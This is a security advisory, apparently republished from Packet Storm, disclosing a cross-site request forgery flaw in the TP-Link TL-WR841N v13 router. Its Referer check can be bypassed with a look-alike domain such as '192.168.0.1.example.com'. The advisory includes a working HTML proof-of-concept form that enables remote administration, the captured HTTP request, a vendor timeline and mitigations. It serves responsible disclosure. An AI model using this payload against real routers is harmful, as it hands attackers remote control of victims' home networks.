TP-Link TL-WR841N V13 Cross Site Request Forgery

2018-06-2800:00:00
Tim Coen
packetstormsecurity.com
0.009 Low
EPSS
Percentile
82.3%
JSON
` * Vulnerability: Cross-Site Request Forgery  
* Affected Software: TP-Link TL-WR841N v13  
* Affected Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n  
* Patched Version: None  
* Risk: High  
* Vendor Contacted: 05/20/2018  
* Vendor Fix: None  
* Public Disclosure: 06/27/2018  
  
##### Overview  
  
The web interface of the router is vulnerable to CSRF. An attacker can  
perform arbitrary actions in the name of an authenticated user if that  
user visits an attacker-controlled website.  
  
##### CVSS  
  
High 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H  
  
##### Details  
  
The protection mechanism that is in place against CSRF checks if the  
given "referer" header starts with "192.168.0.1". If it does, the  
request is accepted.  
  
An attacker can bypass this mechanism by prepending their domain with  
this string. For example, the malicious HTML and JavaScript code could  
be hosted at "192.168.0.1.example.com". Alternatively, an attack could  
originate from a different IP in the internal network, eg "192.168.0.11".  
  
##### Proof of Concept  
  
Enable remote access:  
  
<html>  
<body>  
<form action="http://192.168.0.1/cgi?2&2" method="POST"  
enctype="text/plain">  
<input type="hidden"  
name="[HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2   
httpRemoteEnabled"  
value="1   
httpRemotePort=7777   
[APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1   
remoteHost=255.255.255.255   
"  
/>  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
The code would be hosted at a subdomain which starts with "192.168.0.1",  
eg "192.168.0.1.example.com".  
  
##### Request  
  
POST /cgi?2&2 HTTP/1.1  
Host: 192.168.0.1  
User-Agent: [...]  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.0.1.example.com/csrf.html  
Content-Type: text/plain  
Content-Length: 147  
Cookie: Authorization=Basic [...]  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
[HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2  
httpRemoteEnabled=1  
httpRemotePort=7777  
[APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1  
remoteHost=255.255.255.255  
  
HTTP/1.1 200 OK  
Content-Type: text/plain; charset=utf-8  
Connection: close  
Content-Length: 8  
  
[error]0  
  
##### Solution  
  
The vendor did not fix the issue.  
  
Users of the product can try to mitigate the issue by not visiting other  
websites while being signed into the web interface and signing out as  
soon as possible. Additionally, various browser plugins can be used to  
try to defend against attacks.  
  
##### Timeline  
  
- 05/20/2018 Requested email address via contact form (no response)  
- 05/24/2018 Send advisory to [email protected] asking for  
confirmation, set disclosure date (no response)  
- 06/01/2018 Asked for confirmation at [email protected]  
- 06/04/2018 Vendor confirmed receipt of advisory  
- 06/12/2018 Requested Status Update  
- 06/14/2018 Vendor claims they never received advisory  
- 06/14/2018 Resend advisory asking for confirmation (no response)  
- 06/18/2018 Reminded vendor of disclosure date (no response)  
- 06/18/2018 Requested CVE  
- 06/19/2018 CVE assigned  
- 06/27/2018 Disclosure  
  
--   
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75  
`
0.009 Low
EPSS
Percentile
82.3%
JSON
Related for PACKETSTORM:148349